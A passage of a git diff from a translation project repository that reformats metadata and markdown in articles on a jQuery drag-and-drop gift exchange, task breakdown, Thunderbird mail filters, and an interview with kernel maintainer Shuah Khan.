`. The `ID` fields correspond to the wrapping paper. - * **Lines 56–81:** These contain JavaScript to make it all work. - * **Lines 57–67:** This JavaScript object contains the book definitions. The keys (`'bows'`, `'boxes'`, etc.) correspond to the `ID` fields of the book `DIV` elements. The values (`'Untamed by Glennon Doyle',` `"The Heart's Invisible Furies by John Boyne"`, etc.) are the book titles and authors. - * **Lines 68–79:** This JavaScript jQuery UI function defines the droppable functionality to be attached to HTML elements whose class is `droppable`. - * **Lines 69–75:** When a `draggable` element is dropped onto a `droppable` element, the function `drop` is called. - * **Line 70:** The `element` variable is assigned the draggable object that was dropped (this will be a `
` element. - * **Line 71:** The `wrapping` variable is assigned the value of the `ID` field in the draggable object. - * **Line 72:** This line is commented out, but while I was learning and testing, calls to `alert()` were useful. - * **Line 73:** This reassigns the draggable object's background image to a bland image on which text can be read; part 1 of unwrapping is getting rid of the wrapping paper. - * **Line 74:** This sets the text of the draggable object to the title of the book, looked up in the book's object using the draggable object's ID; part 2 of the unwrapping is showing the book title and author. - * **Lines 76–78:** For a while, I thought I wanted something to happen when a draggable object was removed from a droppable object (e.g., when a club member stole a book), which would require using the `out` function in a droppable object. Eventually, I decided not to do anything. But, this could note that the book was stolen and make it "unstealable" for one turn; or it could show a status line that says something like: _"Wanda's book Blah Blah by Joe Blogs was stolen, and she needs to choose another."_ - * **Line 80:** This JavaScript jQuery UI function defines the draggable functionality to be attached to HTML elements whose class is `draggable`. In my case, the default behavior was all I needed. - - +* Lines 1–6: Upfront, I have the usual `HTML` boilerplate, HTML, `HEAD`, `META`, `TITLE` elements, followed by a link to the CSS for jQuery UI. +* Lines 7–25: I added two new style classes: `draggable` and `droppable`. These define the layout for the books (draggable) and the people (droppable). Note that, aside from defining the size, background color, padding, and margin, I established that these need to float left. This way, the layout adjusts to the browser window width in a reasonably acceptable form. +* Line 26–27: With the CSS out of the way, it's time for the JavaScript libraries, first jQuery, then jQuery UI. +* Lines 29–83: Now that the `HEAD` `element` is done, next is the `BODY`: + * Lines 30–31: These couple of titles, `H1` and `H2`, let people know what they're doing here. +Lines 33–43: A `DIV` to contain the people: +Lines 34–42: The people are defined as `droppable` `DIV` elements and given `ID` fields corresponding to their names. +Lines 44–54: A `DIV` to contain the books: +Lines 45–53: The books are defined as `draggable` `DIV` elements. Each element is declared with a background image corresponding to the `wrapping` paper with no text between the `
` and `
`. The `ID` fields correspond to the wrapping paper. +Lines 56–81: These contain JavaScript to make it all work. + * Lines 57–67: This JavaScript object contains the book definitions. The keys ('bows', `'boxes'`, etc.) correspond to the `ID` fields of the book `DIV` elements. The values ('Untamed by Glennon Doyle', `"The Heart's Invisible Furies by John Boyne"`, etc.) are the book titles and authors. +Lines 68–79: This JavaScript jQuery UI function defines the `droppable` functionality to be attached to HTML elements whose class is `drop`pable. +Lines 69–75: When a `draggable` element is dropped onto a droppable element, the function drop is called. +Line 70: The element variable is assigned the draggable object that was dropped (this will be a `
` element. +Line 71: The wrapping variable is assigned the value of the `ID` field in the draggable object. +Line 72: This line is commented `out`, but while I was learning and testing, calls to `alert()` were useful. + * Line 73: This reassigns the draggable object's background image to a bland image on which text can be read; part 1 of unwrapping is getting rid of the wrapping paper. + * Line 74: This sets the text of the draggable object to the title of the book, looked up in the book's object using the draggable object's ID; part 2 of the unwrapping is showing the book title and author. +Lines 76–78: For a while, I thought I wanted something to happen when a draggable object was removed from a droppable object (e.g., when a club member stole a book), which would require using the out function in a droppable object. Eventually, I decided not to do anything. But, this could note that the book was stolen and make it "unstealable" for one turn; or it could show a status line that says something like: "Wanda's book Blah Blah by Joe Blogs was stolen, and she needs to choose another." +Line 80: This JavaScript jQuery UI function defines the draggable functionality to be attached to HTML elements whose class is draggable. In my case, the default behavior was all I needed. That's it! @@ -189,49 +180,38 @@ That's it! Libraries like jQuery and jQuery UI are incredibly helpful when trying to do something complicated in JavaScript. Look at the `$().draggable()` and `$().droppable()` functions, for example: - ``` -`$( ".draggable" ).draggable();` +$( ".draggable" ).draggable(); ``` The `".draggable"` allows associating the `draggable()` function with any HTML element whose class is "draggable." The `draggable()` function comes with all sorts of useful behavior about picking, dragging, and releasing a draggable HTML element. -If you haven't spent much time with jQuery, I really like the book [_jQuery in Action_][21] by Bear Bibeault, Yehuda Katz, and Aurelio De Rosa. Similarly, [_jQuery UI in Action_][22] by TJ VanToll is a great help with the jQuery UI (where draggable and droppable come from). +If you haven't spent much time with jQuery, I really like the book [jQuery in Action][9] by Bear Bibeault, Yehuda Katz, and Aurelio De Rosa. Similarly, [jQuery UI in Action][10] by TJ VanToll is a great help with the jQuery UI (where draggable and droppable come from). Of course, there are many other JavaScript libraries, frameworks, and what-nots around to do good stuff in the user interface. I haven't really started to explore all that jQuery and jQuery UI offer, and I want to play around with the rest to see what can be done. +Image by: (Chris Hermansen, CC BY-SA 4.0) + -------------------------------------------------------------------------------- via: https://opensource.com/article/21/1/open-source-gift-exchange 作者:[Chris Hermansen][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- (Package wrapped with brown paper and red bow) -[2]: https://all-free-download.com/free-vector/patterns-creative-commons.html#google_vignette -[3]: https://opensource.com/tags/gimp -[4]: https://opensource.com/sites/default/files/uploads/bookexchangestart.png (Virtual book exchange) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sites/default/files/uploads/bookexchangeperson1.png (Virtual book exchange) -[7]: https://opensource.com/sites/default/files/uploads/bookexchangeperson2.png (Virtual book exchange) -[8]: http://december.com/html/4/element/html.html -[9]: http://december.com/html/4/element/head.html -[10]: http://december.com/html/4/element/meta.html -[11]: http://december.com/html/4/element/title.html -[12]: http://december.com/html/4/element/link.html -[13]: http://december.com/html/4/element/style.html -[14]: http://december.com/html/4/element/script.html -[15]: https://code.jquery.com/jquery-1.12.4.js"\>\ -[16]: https://code.jquery.com/ui/1.12.1/jquery-ui.js"\>\ -[17]: http://december.com/html/4/element/body.html -[18]: http://december.com/html/4/element/h1.html -[19]: http://december.com/html/4/element/h2.html -[20]: http://december.com/html/4/element/div.html -[21]: https://www.manning.com/books/jquery-in-action-third-edition -[22]: https://www.manning.com/books/jquery-ui-in-action +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/brown-package-red-bow.jpg +[2]: https://unsplash.com/@jessbaileydesigns?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/package?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://all-free-download.com/free-vector/patterns-creative-commons.html#google_vignette +[5]: https://opensource.com/tags/gimp +[6]: https://opensource.com/sites/default/files/uploads/bookexchangestart.png +[7]: https://opensource.com/sites/default/files/uploads/bookexchangeperson1.png +[8]: https://opensource.com/sites/default/files/uploads/bookexchangeperson2.png +[9]: https://www.manning.com/books/jquery-in-action-third-edition +[10]: https://www.manning.com/books/jquery-ui-in-action diff --git a/sources/tech/20210124 3 stress-free steps to tackling your task list.md b/sources/tech/20210124 3 stress-free steps to tackling your task list.md deleted file mode 100644 index 04e65e4b06..0000000000 --- a/sources/tech/20210124 3 stress-free steps to tackling your task list.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 stress-free steps to tackling your task list) -[#]: via: (https://opensource.com/article/21/1/break-down-tasks) -[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) - -3 stress-free steps to tackling your task list -====== -Break your larger tasks into small steps to keep from being overwhelmed. -![Team checklist][1] - -In prior years, this annual series covered individual apps. This year, we are looking at all-in-one solutions in addition to strategies to help in 2021. Welcome to day 14 of 21 Days of Productivity in 2021. - -At the start of the week, I like to review my schedule and look at the things I either need or would like to accomplish. And often, there are some items on that list that are relatively big. Whether it is an issue for work, a series of articles on productivity, or maybe an improvement to the chicken enclosures, the task can seem really daunting when taken as a single job. The odds are good that I will not be able to sit down and finish something like (just as an example, mind you) 21 articles in a single block of time, or even a single day. - -![21 Days of Productivity project screenshot][2] - -21 Days of Productivity (Kevin Sonney, [CC BY-SA 4.0][3]) - -So the first thing I do when I have something like this on my list is to break it down into smaller pieces. As Nobel laureate [William Faulkner][4] famously said, "The man who removes a mountain begins by carrying away small stones." We need to take our big tasks (the mountain) and find the individual steps (the small stones) that need to be done. - -I use the following steps to break down my big tasks into little ones: - - 1. I usually have a fair idea of what needs to be done to complete a task. If not, I do a little research to figure that out. - 2. I write down the steps I think it will take, in order. - 3. Finally, I sit down with my calendar and the list and start to spread the tasks out across several days (or weeks, or months) to get an idea of when I might finish it. - - - -Now I have not only a plan but an idea of how long it is going to take. As I complete each step, I can see that big task get not only a little smaller but closer to completion. - -There is an old military saying that goes, "No plan survives contact with the enemy." It is almost certain that there will be a point or two (or five) where I realize that something as simple as "take a screenshot" needs to be expanded into something _much_ more complex. In fact, taking the screenshots of [Easy!Appointments][5] turned out to be: - - 1. Install and configure Easy!Appointments. - 2. Install and configure the Easy!Appointments WordPress plugin. - 3. Generate the API keys needed to sync the calendar. - 4. Take screenshots. - - - -Even then, I had to break these tasks down into smaller pieces—download the software, configure NGINX, validate the installs…you get the idea. And that's OK. A plan, or set of tasks, is not set in stone and can be changed as needed. - -![project completion pie chart][6] - -About 2/3 done for this year! (Kevin Sonney, [CC BY-SA 4.0][3]) - -This is a learned skill and will take some effort the first few times. Learning how to break big tasks into smaller steps allows you to track progress towards a goal or completion of something big without getting overwhelmed in the process. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/break-down-tasks - -作者:[Kevin Sonney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ksonney -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) -[2]: https://opensource.com/sites/default/files/day14-image1.png -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://en.wikipedia.org/wiki/William_Faulkner -[5]: https://opensource.com/article/21/1/open-source-scheduler -[6]: https://opensource.com/sites/default/files/day14-image2_1.png diff --git a/sources/tech/20210127 Introduction to Thunderbird mail filters.md b/sources/tech/20210127 Introduction to Thunderbird mail filters.md index 423d48f86d..808a22f084 100644 --- a/sources/tech/20210127 Introduction to Thunderbird mail filters.md +++ b/sources/tech/20210127 Introduction to Thunderbird mail filters.md @@ -1,164 +1,151 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Introduction to Thunderbird mail filters) -[#]: via: (https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/) -[#]: author: (Richard England https://fedoramagazine.org/author/rlengland/) +[#]: subject: "Introduction to Thunderbird mail filters" +[#]: via: "https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/" +[#]: author: "Richard England https://fedoramagazine.org/author/rlengland/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Introduction to Thunderbird mail filters ====== - ![][1] Everyone eventually runs into an inbox loaded with messages that they need to sort through. If you are like a lot of people, this is not a fast process. However, use of mail filters can make the task a little less tedious by letting Thunderbird pre-sort the messages into categories that reflect their source, priority, or usefulness. This article is an introduction to the creation of filters in Thunderbird. Filters may be created for each email account you have created in Thunderbird. These are the accounts you see in the main Thunderbird folder pane shown at the left of the “Classic Layout”. -![Classic Layout][2] +![][2] There are two methods that can be used to create mail filters for your accounts. The first is based on the currently selected account and the second on the currently selected message. Both are discussed here. ### Message destination folder -Before filtering messages there has to be a destination for them. Create the destination by selecting a location to create a new folder. In this example the destination will be **Local Folders** shown in the accounts pane. Right click on **Local Folders** and select _New Folder…_ from the menu. +Before filtering messages there has to be a destination for them. Create the destination by selecting a location to create a new folder. In this example the destination will be **Local Folders**shown in the accounts pane. Right click on **Local Folders** and select *New Folder…* from the menu. -![Creating a new folder][3] +![][3] -Enter the name of the new folder in the menu and select _Create Folder._ The mail to filter is coming from the New York Times so that is the name entered. +Enter the name of the new folder in the menu and select *Create Folder.* The mail to filter is coming from the New York Times so that is the name entered. -![Folder creation][4] +![][4] ### Filter creation based on the selected account -Select the _Inbox_ for the account you wish to filter and select the toolbar menu item at _Tools > Message_Filters_. +Select the *Inbox* for the account you wish to filter and select the toolbar menu item at *Tools > Message_Filters*. -![Message_Filters menu location][5] +![][5] -The _Message Filters_ menu appears and is set to your pre-selected account as indicated at the top in the selection menu labelled _Filters for:_. +The *Message Filters* menu appears and is set to your pre-selected account as indicated at the top in the selection menu labelled *Filters for:*. -![Message Filters menu][6] +![][6] -Previously created filters, if any, are listed beneath the account name in the “_Filter Name”_ column. To the right of this list are controls that let you modify the filters selected. These controls are activated when you select a filter. More on this later. +Previously created filters, if any, are listed beneath the account name in the “*Filter Name”*column. To the right of this list are controls that let you modify the filters selected. These controls are activated when you select a filter. More on this later. Start creating your filter as follows: - 1. Verify the correct account has been pre-selected. It may be changed if necessary. - 2. Select _New…_ from the menu list at the right. +1. Verify the correct account has been pre-selected. It may be changed if necessary. +2. Select New… from the menu list at the right. - - -When you select _New_ you will see the _Filter Rules_ menu where you define your filter. Note that when using _New…_ you have the option to copy an existing filter to use as a template or to simply duplicate the settings. +When you select *New* you will see the *Filter Rules*menu where you define your filter. Note that when using *New…* you have the option to copy an existing filter to use as a template or to simply duplicate the settings. Filter rules are made up of three things, the “property” to be tested, the “test”, and the “value” to be tested against. Once the condition is met, the “action” is performed. -![Message Filters menu][7] +![][7] Complete this filter as follows: - 1. Enter an appropriate name in the textbox labelled _Filter name:_ - 2. Select the property _From_ in the left drop down menu, if not set. - 3. Leave the test set to _contains_. - 4. Enter the value, in this case the email address of the sender. +1. Enter an appropriate name in the textbox labelled Filter name: +2. Select the property From in the left drop down menu, if not set. +3. Leave the test set to contains. +4. Enter the value, in this case the email address of the sender. +Under the *Perform these actions:* section at the bottom, create an action rule to move the message and choose the destination. +1. Select Move Messages to from the left end of the action line. +2. Select Choose Folder… and select Local Folders > New York Times. +3. Select OK. -Under the _Perform these actions:_ section at the bottom, create an action rule to move the message and choose the destination. +By default the **Apply filter when:** is set to *Manually Run* and *Getting New Mail:*. This means that when new mail appears in the Inbox for this account the filter will be applied and you may run it manually at any time, if necessary. There are other options available but they are too numerous to be discussed in this introduction. They are, however, for the most part self explanatory. - 1. Select _Move Messages to_ from the left end of the action line. - 2. Select _Choose Folder…_ and select _Local Folders > New York Times_. - 3. Select _OK_. +If more than one rule or action is to be created during the same session, the “+” to the right of each entry provides that option. Additional property, test, and value entries can be added. If more than one rule is created, make certain that the appropriate option for *Match all of the following* and *Match any of the following* is selected. In this example the choice does not matter since we are only setting one filter. +After selecting *OK,*the *Message Filters* menu is displayed again showing your newly created filter. Note that the menu items on the right side of the menu are now active for *Edit…* and *Delete.* +![][8] -By default the **Apply filter when:** is set to _Manually Run_ and _Getting New Mail:_. This means that when new mail appears in the Inbox for this account the filter will be applied and you may run it manually at any time, if necessary. There are other options available but they are too numerous to be discussed in this introduction. They are, however, for the most part self explanatory. +Also notice the message *“Enabled filters are run automatically in the order shown below”*. If there are multiple filters the order is changed by selecting the one to be moved and using the *Move to Top, Move Up, Move Down,*or*Move to Bottom* buttons. The order can change the destination of your messages so consider the tests used in each filter carefully when deciding the order. -If more than one rule or action is to be created during the same session, the “+” to the right of each entry provides that option. Additional property, test, and value entries can be added. If more than one rule is created, make certain that the appropriate option for _Match all of the following_ and _Match any of the following_ is selected. In this example the choice does not matter since we are only setting one filter. - -After selecting _OK,_ the _Message Filters_ menu is displayed again showing your newly created filter. Note that the menu items on the right side of the menu are now active for _Edit…_ and _Delete._ - -![First filter in the Message Filters menu][8] - -Also notice the message _“Enabled filters are run automatically in the order shown below”_. If there are multiple filters the order is changed by selecting the one to be moved and using the _Move to Top, Move Up, Move Down,_ or _Move to Bottom_ buttons. The order can change the destination of your messages so consider the tests used in each filter carefully when deciding the order. - -Since you have just created this filter you may wish to use the _Run Now_ button to run your newly created filter on the Inbox shown to the left of the button. +Since you have just created this filter you may wish to use the *Run Now* button to run your newly created filter on the Inbox shown to the left of the button. ### Filter creation based on a message -An alternative creation technique is to select a message from the message pane and use the _Create Filter From Message…_ option from the menu bar. +An alternative creation technique is to select a message from the message pane and use the *Create Filter From Message…* option from the menu bar. -In this example the filter will use two rules to select the messages: the email address and a text string in the Subject line of the email. Start as follows: +In this example the filter will use two rules to select the messages: the email address and a text string in the Subject line of the email. Start as follows: - 1. Select a message in the message page. - 2. Select the filter options on the toolbar at _Message > Create Filter From Message…_. +1. Select a message in the message page. +2. Select the filter options on the toolbar at Message > Create Filter From Message…. +![][9] - -![Create new filters from Messages][9] - -The pre-selected message, highlighted in grey in the message pane above, determines the account used and _Create Filter From Message…_ takes you directly to the _Filter Rules_ menu. +The pre-selected message, highlighted in grey in the message pane above, determines the account used and *Create Filter From Message…* takes you directly to the *Filter Rules* menu. ![][10] -The property (_From_), test (_is_), and value (email) are pre-set for you as shown in the image above. Complete this filter as follows: +The property (*From*), test (*is*), and value (email) are pre-set for you as shown in the image above. Complete this filter as follows: - 1. Enter an appropriate name in the textbox labelled _Filter name:_. _COVID_ is the name in this case. - 2. Check that the property is _From_. - 3. Verify the test is set to _is_. - 4. Confirm that the value for the email address is from the correct sender. - 5. Select the “+” to the right of the _From_ rule to create a new filter rule. - 6. In the new rule, change the default property entry _From_ to _Subject_ using the pulldown menu. - 7. Set the test to _contains_. - 8. Enter the value text to be matched in the Email “Subject” line. In this case _COVID_. +1. Enter an appropriate name in the textbox labelled Filter name:. COVID is the name in this case. +2. Check that the property is From. +3. Verify the test is set to is. +4. Confirm that the value for the email address is from the correct sender. +5. Select the “+” to the right of the From rule to create a new filter rule. +6. In the new rule, change the default property entry From to Subject using the pulldown menu. +7. Set the test to contains. +8. Enter the value text to be matched in the Email “Subject” line. In this case COVID. +Since we left the *Match all of the following* item checked, each message will be from the address chosen AND will have the text *COVID* in the email subject line. +Now use the action rule to choose the destination for the messages under the *Perform these actions:* section at the bottom: -Since we left the _Match all of the following_ item checked, each message will be from the address chosen AND will have the text _COVID_ in the email subject line. +1. Select Move Messages to from the left menu. +2. Select Choose Folder… and select Local Folders > COVID in Scotland. (This destination was created before this example was started. There was no magic here.) +3. Select OK. -Now use the action rule to choose the destination for the messages under the _Perform these actions:_ section at the bottom: - - 1. Select _Move Messages to_ from the left menu. - 2. Select _Choose Folder…_ and select _Local Folders > COVID in Scotland_. (This destination was created before this example was started. There was no magic here.) - 3. Select _OK_. - - - -_OK_ will cause the _Message Filters_ menu to appear, again, verifying that the new filter has been created. +*OK* will cause the *Message Filters* menu to appear, again, verifying that the new filter has been created. ### The Message Filters menu -All the message filters you create will appear in the _Message Filters_ menu. Recall that the _Message Filters_ is available in the menu bar at _Tools > Message Filters_. +All the message filters you create will appear in the *Message Filters* menu. Recall that the *Message Filters* is available in the menu bar at *Tools > Message Filters*. -Once you have created filters there are several options to manage them. To change a filter, select the filter in question and click on the _Edit_ button. This will take you back to the _Filter Rules_ menu for that filter. As mentioned earlier, you can change the order in which the rules are apply here using the _Move_ buttons. Disable a filter by clicking on the check mark in the _Enabled_ column. +Once you have created filters there are several options to manage them. To change a filter, select the filter in question and click on the *Edit* button. This will take you back to the *Filter Rules* menu for that filter. As mentioned earlier, you can change the order in which the rules are apply here using the *Move* buttons. Disable a filter by clicking on the check mark in the *Enabled* column. ![][11] -The _Run Now_ button will execute the selected filter immediately. You may also run your filter from the menu bar using _Tools > Run Filters on Folder_ or _Tools > Run Filters on Message_. +The *Run Now* button will execute the selected filter immediately. You may also run your filter from the menu bar using *Tools > Run Filters on Folder* or *Tools > Run Filters on Message*. ### Next step -This article hasn’t covered every feature available for message filtering but hopefully it provides enough information for you to get started. Places for further investigation are the “property”, “test”, and “actions” in the _Filter menu_ as well as the settings there for when your filter is to be run, _Archiving, After Sending,_ and _Periodically_. +This article hasn’t covered every feature available for message filtering but hopefully it provides enough information for you to get started. Places for further investigation are the “property”, “test”, and “actions” in the *Filter menu* as well as the settings there for when your filter is to be run, *Archiving, After Sending,* and *Periodically*. ### References -Mozilla: [Organize][12] [Your Messages][12] [by Using Filters][12] +Mozilla: [Organize][12][Your Messages][13][by Using Filters][14] -MozillaZine: [Message][13] [Filters][13] +MozillaZine: [Message][15][Filters][16] -------------------------------------------------------------------------------- via: https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/ 作者:[Richard England][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://fedoramagazine.org/author/rlengland/ -[b]: https://github.com/lujun9972 +[b]: https://github.com/lkxed [1]: https://fedoramagazine.org/wp-content/uploads/2021/01/Tbird_mail_filters-1-816x345.jpg [2]: https://fedoramagazine.org/wp-content/uploads/2021/01/Image_001-1024x613.png [3]: https://fedoramagazine.org/wp-content/uploads/2021/01/Image_New_Folder.png @@ -171,4 +158,7 @@ via: https://fedoramagazine.org/introduction-to-thunderbird-mail-filters/ [10]: https://fedoramagazine.org/wp-content/uploads/2021/01/Filter_rules_2-1.png [11]: https://fedoramagazine.org/wp-content/uploads/2021/01/Message_Filters_2nd_entry.png [12]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters -[13]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 +[13]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters +[14]: https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters +[15]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 +[16]: http://kb.mozillazine.org/Filters_%28Thunderbird%29 diff --git a/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md b/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md similarity index 81% rename from sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md rename to sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md index 1d22b6f0fb..09152cb53a 100644 --- a/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer - Linux Fellow.md +++ b/sources/tech/20210128 Interview with Shuah Khan, Kernel Maintainer & Linux Fellow.md @@ -1,46 +1,43 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Interview with Shuah Khan, Kernel Maintainer & Linux Fellow) -[#]: via: (https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/) -[#]: author: (The Linux Foundation https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/) +[#]: subject: "Interview with Shuah Khan, Kernel Maintainer & Linux Fellow" +[#]: via: "https://www.linux.com/news/interview-with-shuah-khan-kernel-maintainer-linux-fellow/" +[#]: author: "The Linux Foundation https://www.linuxfoundation.org/en/blog/interview-with-shuah-khan-kernel-maintainer-linux-fellow/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Interview with Shuah Khan, Kernel Maintainer & Linux Fellow ====== - -![][1] - -_Jason Perlow, Director of Project Insights and Editorial Content at the Linux Foundation, had an opportunity to speak with Shuah Khan about her experiences as a woman in the technology industry. She discusses how mentorship can improve the overall diversity and makeup of open source projects, why software maintainers are important for the health of open source projects such as the Linux kernel, and how language inclusivity and codes of conduct can improve relationships and communication between software maintainers and individual contributors._ +Jason Perlow, Director of Project Insights and Editorial Content at the Linux Foundation, had an opportunity to speak with Shuah Khan about her experiences as a woman in the technology industry. She discusses how mentorship can improve the overall diversity and makeup of open source projects, why software maintainers are important for the health of open source projects such as the Linux kernel, and how language inclusivity and codes of conduct can improve relationships and communication between software maintainers and individual contributors. **JP:** So, Shuah, I know you wear many different hats at the Linux Foundation. What do you call yourself around here these days? -**SK:** <laughs> Well, I primarily call myself a Kernel Maintainer & Linux Fellow. In addition to that, I focus on two areas that are important to the continued health and sustainability of the open source projects in the Linux ecosystem. The first one is bringing more women into the Kernel community, and additionally, I am leading the mentorship program efforts overall at the Linux Foundation. And in that role, in addition to the Linux Kernel Mentorship, we are looking at how the Linux Foundation mentorship program is working overall, how it is scaling. I make sure the [LFX Mentorship][2] platform scales and serves diverse mentees and mentors’ needs in this role. +**SK:** Well, I primarily call myself a Kernel Maintainer & Linux Fellow. In addition to that, I focus on two areas that are important to the continued health and sustainability of the open source projects in the Linux ecosystem. The first one is bringing more women into the Kernel community, and additionally, I am leading the mentorship program efforts overall at the Linux Foundation. And in that role, in addition to the Linux Kernel Mentorship, we are looking at how the Linux Foundation mentorship program is working overall, how it is scaling. I make sure the [LFX Mentorship][1] platform scales and serves diverse mentees and mentors’ needs in this role. -The LF mentorships program includes several projects in the Linux kernel, LFN, HyperLedger, Open MainFrame, OpenHPC, and other technologies. [The Linux Foundation’s Mentorship Programs][3] are designed to help developers with the necessary skills–many of whom are first-time open source contributors–experiment, learn, and contribute effectively to open source communities. +The LF mentorships program includes several projects in the Linux kernel, LFN, HyperLedger, Open MainFrame, OpenHPC, and other technologies. [The Linux Foundation’s Mentorship Programs][2] are designed to help developers with the necessary skills–many of whom are first-time open source contributors–experiment, learn, and contribute effectively to open source communities. The mentorship program has been successful in its mission to train new developers and make these talented pools of prospective employees trained by experts to employers. Several graduated mentees have found jobs. New developers have improved the quality and security of various open source projects, including the Linux kernel. Several Linux kernel bugs were fixed, a new subsystem mentor was added, and a new driver maintainer is now part of the Linux kernel community. My sincere thanks to all our mentors for volunteering to share their expertise. **JP:** How long have you been working on the Kernel? -**SK:** Since 2010, or 2011, I got involved in the [Android Mainlining project][4]. My [first patch removed the Android pmem driver][5]. +**SK:** Since 2010, or 2011, I got involved in the [Android Mainlining project][3]. My [first patch removed the Android pmem driver][4]. **JP:** Wow! Is there any particular subsystem that you specialize in? -**SK:** I am a self described generalist. I maintain the [kernel self-test][6] subsystem, the [USB over IP driver][7], [usbip tool][8], and the [cpupower][9] tool. I contributed to the media subsystem working on [Media Controller Device Allocator API][10] to resolve shared device resource management problems across device drivers from different subsystems. +**SK:** I am a self described generalist. I maintain the [kernel self-test][5] subsystem, the [USB over IP driver][6], [usbip tool][7], and the [cpupower][8] tool. I contributed to the media subsystem working on [Media Controller Device Allocator API][9] to resolve shared device resource management problems across device drivers from different subsystems. -**JP:** Hey, I’ve [actually used the USB over IP driver][11] when I worked at Microsoft on Azure. And also, when I’ve used AWS and Google Compute. +**JP:** Hey, I’ve [actually used the USB over IP driver][10] when I worked at Microsoft on Azure. And also, when I’ve used AWS and Google Compute. **SK:** It’s a small niche driver used in cloud computing. Docker and other containers use that driver heavily. That’s how they provide remote access to USB devices on the server to export devices to be imported by other systems for use. **JP:** I initially used it for IoT kinds of stuff in the embedded systems space. Were you the original lead developer on it, or was it one of those things you fell into because nobody else was maintaining it? -**SK:** Well, twofold. I was looking at USB over IP because I like that technology. it just so happened the driver was brought from the staging tree into the Mainline kernel, I volunteered at the time to maintain it. Over the last few years, we discovered some security issues with it, because it handles a lot of userspace data, so I had a lot of fun fixing all of those. <laugh>. +**SK:** Well, twofold. I was looking at USB over IP because I like that technology. it just so happened the driver was brought from the staging tree into the Mainline kernel, I volunteered at the time to maintain it. Over the last few years, we discovered some security issues with it, because it handles a lot of userspace data, so I had a lot of fun fixing all of those. . **JP:** What drew you into the Linux operating system, and what drew you into the kernel development community in the first place? -**SK:** Well, I have been doing kernel development for a very long time. I worked on the [LynxOS RTOS][12], a while back, and then HP/UX, when I was working at HP, after which I transitioned into  doing open source development — the [OpenHPI][13] project, to support HP’s rack server hardware, and that allowed me to work much more closely with Linux on the back end. And at some point, I decided I wanted to work with the kernel and become part of the Linux kernel community. I started as an independent contributor. +**SK:** Well, I have been doing kernel development for a very long time. I worked on the [LynxOS RTOS][11], a while back, and then HP/UX, when I was working at HP, after which I transitioned into  doing open source development — the [OpenHPI][12] project, to support HP’s rack server hardware, and that allowed me to work much more closely with Linux on the back end. And at some point, I decided I wanted to work with the kernel and become part of the Linux kernel community. I started as an independent contributor. **JP:** Maybe it just displays my own ignorance, but you are the first female, hardcore Linux kernel developer I have ever met. I mean, I had met female core OS developers before — such as when I was at Microsoft and IBM — but not for Linux. Why do you suppose we lack women and diversity in general when participating in open source and the technology industry overall? @@ -52,9 +49,9 @@ There’s a natural resistance to choosing certain professions that you have to **SK:** Yes. -**JP:** It’s funny; my wife really likes this [Netflix show about matchmaking in India][14]. Are you familiar with it? +**JP:** It’s funny; my wife really likes this [Netflix show about matchmaking in India][13]. Are you familiar with it? -**SK:** <laughs> Yes I enjoyed the series, and [A Suitable Girl][15] documentary film that follows three women as they navigate making decisions about their careers and family obligations. +**SK:** Yes I enjoyed the series, and [A Suitable Girl][14] documentary film that follows three women as they navigate making decisions about their careers and family obligations. **JP:** For many Americans, this is our first introduction to what home life is like for Indian people. But many of the women featured on this show are professionals, such as doctors, lawyers, and engineers. And they are very 